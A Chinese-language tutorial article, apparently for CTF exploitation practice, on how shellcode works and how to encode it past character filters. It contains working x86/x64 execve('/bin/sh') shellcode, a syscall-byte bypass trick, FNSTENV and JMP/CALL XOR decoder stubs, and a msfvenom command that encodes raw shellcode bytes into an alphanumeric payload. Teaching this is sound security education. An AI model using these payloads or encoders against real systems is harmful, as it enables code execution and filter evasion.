shellcode原理
系統調用execve("/bin/sh", 0, 0)
具體可以參考系統調用表、64位linux中斷向量表
64位
寄存器:
rax = 0x3b
rdi = "/bin/sh"
rsi = 0
rdx = 0
一段簡單的 shellcode:
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall
32位
寄存器:
eax = 0xb
ebx = "/bin/sh"
ecx = 0
edx = 0
一段簡單的 shellcode:
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor eax, eax
int 0x80
shellcode編碼技術
限制字符集的shellcode:
- 一般的可以直接用工具生成。
- 限制嚴格的需要進行手寫
手寫shellcode
思路一:
- 根據限制的字符集列出對應的可以使用的指令
- 對上面的 shellcode 進行修改
- 再轉為對應的機器碼
思路二(ALPHA3就是這麼實現的):
- 創建一個能夠滿足字符集的解碼器
- 根據解碼器將shellcode編碼成能夠滿足字符集
這裡參考Writing IA32 Restricted Instruction Set Shellcode Decoder Loops講講思路二。
首先,考慮為什麼要解碼:過濾輸入的一個普遍問題是編碼數據中每個位元組可以具有的可能值少於 256 個。但是必須假設原始數據可以包含所有 256 個可能的位元組。 這意味著必須使用兩個或更多位元組來編碼一個位元組。
編碼後的 shellcode 要在程序中運行需要附帶解碼器先進行解碼,大概是下面的結構:
[decoder][encoded shellcodes]
接下來是解碼器實現的一些細節問題。
解碼器
解碼器循環:
.-> | 1. 讀取編碼數據 (input)
| L | 2. 解碼
| O | 3. 保存結果 (output)
| O | 4. 移動到下一段數據
| P | 5. 檢查是否到達數據
`--'| 6. 如果沒到跳轉至第1步
V (decoding finished)
重定位
解碼器需要知道編碼過的shellcode在內存中的位置才能進行解碼。由於 shellcode 是被插入到程序中的,而且一些程序還開啟了隨機化保護,並不確定 shellcode 的實際位置,因此解碼器中 shellcode 的位置操作數不能寫死,而需要動態計算。這可以利用重定位技術實現。
其中一種重定位技術實現方法是:
- 利用特殊指令
call
、fnstenv
等動態獲取當前指令的運行時地址 - 計算該地址與當前指令相對shellcode的偏移的差值(被稱為
delta offset
) - 將該差值加到對應數據與該指令相對偏移上,得到的就是運行時數據的正確地址
Patch
對編碼器種和補丁中不符合要求的指令可以再編碼以使其符合要求。
syscall繞過
不允許出現syscall
字元時(\x0f\x05
)
一般會利用一個0x9090 ^ 0x959f=0x0f05
, 如下:
xor word ptr[rip], 0x959f
nop
nop ;0x909
使用0偏移
使用偏移為0的操作數,表示的意義相同,但生成的機器碼不同:
00 00 add %al, (%eax)
00 40 00 add %al, 0(%eax)
FNSTENV XOR decoder
fnstenv
指令將最後執行的一條FPU指令相關的協處理器的信息保存在指定的內存中,保存的信息偏移12位元組處就是最後執行的浮點指令的運行時地址。
global _start
_start:
fabs ; fabs指令
fnstenv [esp] ; 保存環境,該結構偏移12位元組處就是最後執行的浮點指令的運行時地址
pop edx
pop edx
pop edx
pop edx ;此處將fabs指令的運行時地址傳給edx
sub dl, -25 ; offset from fabs -> xor buffer edx = edx + 25,25的大小指的是從shllcode到fabs的偏移
begin:
xor ecx,ecx ; 清零循環計數器ecx
sub cx, -0x15F ; 設置cx為shellcode長度
decode:
xor byte [ebx], 0x99 ; 異或key來解碼
inc ebx ; 進入下一位元組
loop decode ; 循環解碼
shellcode:
db ...........................
JMP/CALL decoder
global _start
_start:
jmp short getdata ; 跳轉到getdata
begin:
pop ebx ; 彈出shellcode的地址
xor ecx,ecx ; 清零循環計數器ecx
sub cx, -0x15F ; 設置cx為shellcode長度
decode:
xor byte [ebx], 0x99 ; 異或key來解碼
inc ebx ; 進入下一位元組
loop decode ; 循環解碼
jmp short shellcode ; 跳到解碼完成的shellcode
getdata:
call begin ; 將下一條指令(shellcode)位置壓棧,跳到begin
shellcode: ; 異或加密後的shellcode
db ..........................
shellcode工具
字符集
alphanumeric指令集
- Alphanumeric shellcode:用的 AT&T 語法,%{16bit}表示16位寄存器,(%{64bit})表示64位寄存器指針,[byte]表示位元組大小立即數。
- X86 alphanumeric opcodes
- X64 alphanumeric opcodes
ascii指令集
編碼工具
可以利用工具進行編碼,但是現在的題目限制比較嚴格,一般都要手寫:
- pwntools encoders:這個用作者的話來說目前還是一團糟,沒啥用
- msfvenom:目前我用的這個,比較好安裝,使用也沒什麼問題
- ALPHA3:這個安裝好像有點不便,兼容性也有些問題
- AE64
- PolyAsciiShellGen: Caezar ASCII Shellcode Generator
pwntools encoders
安裝方法不介紹了。
使用方法看文檔:https://docs.pwntools.com/en/latest/encoders.html
msfvenom
安裝
msf的一個模塊。Kali下自帶,其他環境到官網裝。
使用
先執行msfvenom -l encoders
挑選一個編碼器:
$ msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
根據輸入的 shellcode 編碼為 linux 平台 x86 架構 BufferRegister=EAX 的純字母 shellcode:
$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
BufferRegister=EAX 用來告訴編碼器 shellcode 的位置保存在哪個寄存器中,用於編碼器在內存中找到 shellcode 的位置,對編碼後的 shellcode 進行解碼
具體可以參考Linux pwn入門教程(2)—shellcode的使用
資料庫
可以直接查找現成的 shellcode
參考
- shellcode題目整理, https://tttang.com/archive/1447/
- shellcode 開發, https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.9_shellcode
- Linux pwn入門教程(2)—shellcode的使用, https://zhuanlan.zhihu.com/p/40006190
- 【安全健行】(4):揭開shellcode的神秘面紗, https://blog.51cto.com/windhawkfly/1652463
- shellcode xor編碼/解碼[1], https://www.cnblogs.com/moonflow/archive/2012/05/23/2515389.html
- Hacking/Shellcode/Restricted instruction set, https://web.archive.org/web/20111023111816/http://skypher.com/wiki/index.php/Hacking/Shellcode/Restricted_instruction_set
- Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, http://www.ouah.org/Decoder_%20Loops.html
本文鏈接: https://linuxstory.org/in-depth-analysis-of-shellcode-principle-and-encoding-technology
LinuxStory 原創文章,轉載請註明出處,否則必究相關責任。